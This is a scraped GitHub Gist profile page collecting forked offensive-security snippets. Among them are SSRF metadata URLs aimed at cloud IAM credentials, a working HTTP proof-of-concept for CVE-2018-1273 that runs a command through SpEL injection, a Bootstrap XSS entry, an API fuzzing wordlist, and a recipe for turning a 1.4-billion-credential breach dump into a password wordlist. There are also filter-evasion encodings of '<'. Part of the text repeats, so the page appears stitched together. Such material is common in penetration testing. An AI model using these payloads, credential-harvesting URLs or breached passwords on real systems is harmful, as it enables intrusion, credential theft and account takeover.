Hax0rG1rl / temporary-email-address-domains

Created December 23, 2019 18:05 — forked from adamloving/temporary-email-address-domains

A list of domains for disposable and temporary email addresses. Useful for filtering your email list to increase open rates (sending email to these domains likely will not be opened).

	0-mail.com
	0815.ru
	0clickemail.com
	0wnd.net
	0wnd.org
	10minutemail.com
	20minutemail.com
	2prong.com
	30minutemail.com
	3d-painting.com

Hax0rG1rl / Bootstrap_XSS.md

Created December 12, 2019 18:15 — forked from BlackFan/Bootstrap_XSS.md

Bootstrap XSS Collection

CVE-2019-8331

Bootstrap < 3.4.1 || < 4.3.1

✔️ CSP strict-dynamic bypass

➖ Requires user interaction

➖ Requires $('[data-toggle="tooltip"]').tooltip();

Hax0rG1rl / oparam.sh

Created December 6, 2019 07:32 — forked from gwen001/oparam.sh

onliner to extract params from url

	echo "https://www.example.com/?aaa=bbb&ccc=ddd" \| tr '?' '&' \| awk -F '&' '{for(i=2;i<=NF;i++){split($i,t,"=");print t[1]}}'

	while read u; do echo $u \| tr '?' '&' \| awk -F '&' '{for(i=2;i<=NF;i++){split($i,t,"=");print t[1]}}'; done < plainurls.txt \| sort -fu

	From wayback json file:
	cat waybackurls.json\|jq -r '.[]'\|grep 'http'\|cut -d '"' -f 2 \| while read u; do echo $u \| tr '?' '&' \| awk -F '&' '{for(i=2;i<=NF;i++){split($i,t,"=");print t[1]}}'; done \| sort -fu

	function oparam {
	echo $1 \| tr '?' '&' \| awk -F '&' '{for(i=2;i<=NF;i++){split($i,t,"=");print t[1]}}'
	}

Hax0rG1rl / List of API endpoints & objects

Created November 1, 2019 02:29 — forked from yassineaboukir/List of API endpoints & objects

A list of 3203 common API endpoints and objects designed for fuzzing.

	0
	00
	01
	02
	03
	1
	1.0
	10
	100
	1000

Hax0rG1rl / gist:a0fbc783c63f77bda31c4f5772d91875

Created June 17, 2019 04:45 — forked from Savjee/gist:b4b3a21d143a30e7dc07

s3-webhosting-bucket-policy

	{
	"Version": "2012-10-17",
	"Statement": [
	{
	"Sid": "PublicReadGetObject",
	"Effect": "Allow",
	"Principal": {
	"AWS": "*"
	},
	"Action": "s3:GetObject",

Hax0rG1rl / cloud_metadata.txt

Created July 26, 2018 22:07 — forked from jhaddix/cloud_metadata.txt

Cloud Metadata Dictionary useful for SSRF Testing

	## AWS
	# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

	http://169.254.169.254/latest/user-data
	http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/ami-id
	http://169.254.169.254/latest/meta-data/reservation-id
	http://169.254.169.254/latest/meta-data/hostname
	http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

Hax0rG1rl / cloud_metadata.txt

Created May 1, 2018 00:57 — forked from BuffaloWill/cloud_metadata.txt

Cloud Metadata Dictionary useful for SSRF Testing

	## AWS
	# Amazon Web Services (No Header Required)
	# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
	http://169.254.169.254/latest/user-data
	http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/ami-id
	http://169.254.169.254/latest/meta-data/reservation-id
	http://169.254.169.254/latest/meta-data/hostname
	http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

Hax0rG1rl / CVE-2018-1273.http

Created April 13, 2018 01:14 — forked from matthiaskaiser/CVE-2018-1273.http

POC for CVE-2018-1273

	POST /users HTTP/1.1
	Host: localhost:8080
	Content-Type: application/x-www-form-urlencoded
	Content-Length: 164

	username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf

Hax0rG1rl / breachcompilation.txt

Created December 19, 2017 19:40

1.4 billion password breach compilation wordlist

	wordlist created from original 41G stash via:

	grep -rohP '(?<=:).*$' \| uniq > breachcompilation.txt

	Then, compressed with:

	7z a breachcompilation.txt.7z breachcompilation.txt

	Size:

Hax0rG1rl / gist:d6fab29924e55234afcb1629ee82d1c8

Created October 24, 2017 20:59 — forked from lucasrizoli/gist:1603274

70 Unique Ways to Encode <

	<
	%3C
	&lt
	<
	&LT
	&LT;
	&#60
	&#060
	&#0060
	&#00060

	echo "https://www.example.com/?aaa=bbb&ccc=ddd" \| tr '?' '&' \| awk -F '&' '{for(i=2;i<=NF;i++){split($i,t,"=");print t[1]}}'

	while read u; do echo $u \| tr '?' '&' \| awk -F '&' '{for(i=2;i<=NF;i++){split($i,t,"=");print t[1]}}'; done < plainurls.txt \| sort -fu

	From wayback json file:
	cat waybackurls.json\|jq -r '.[]'\|grep 'http'\|cut -d '"' -f 2 \| while read u; do echo $u \| tr '?' '&' \| awk -F '&' '{for(i=2;i<=NF;i++){split($i,t,"=");print t[1]}}'; done \| sort -fu

	function oparam {
	echo $1 \| tr '?' '&' \| awk -F '&' '{for(i=2;i<=NF;i++){split($i,t,"=");print t[1]}}'
	}

Av1at0r Hax0rG1rl

CVE-2019-8331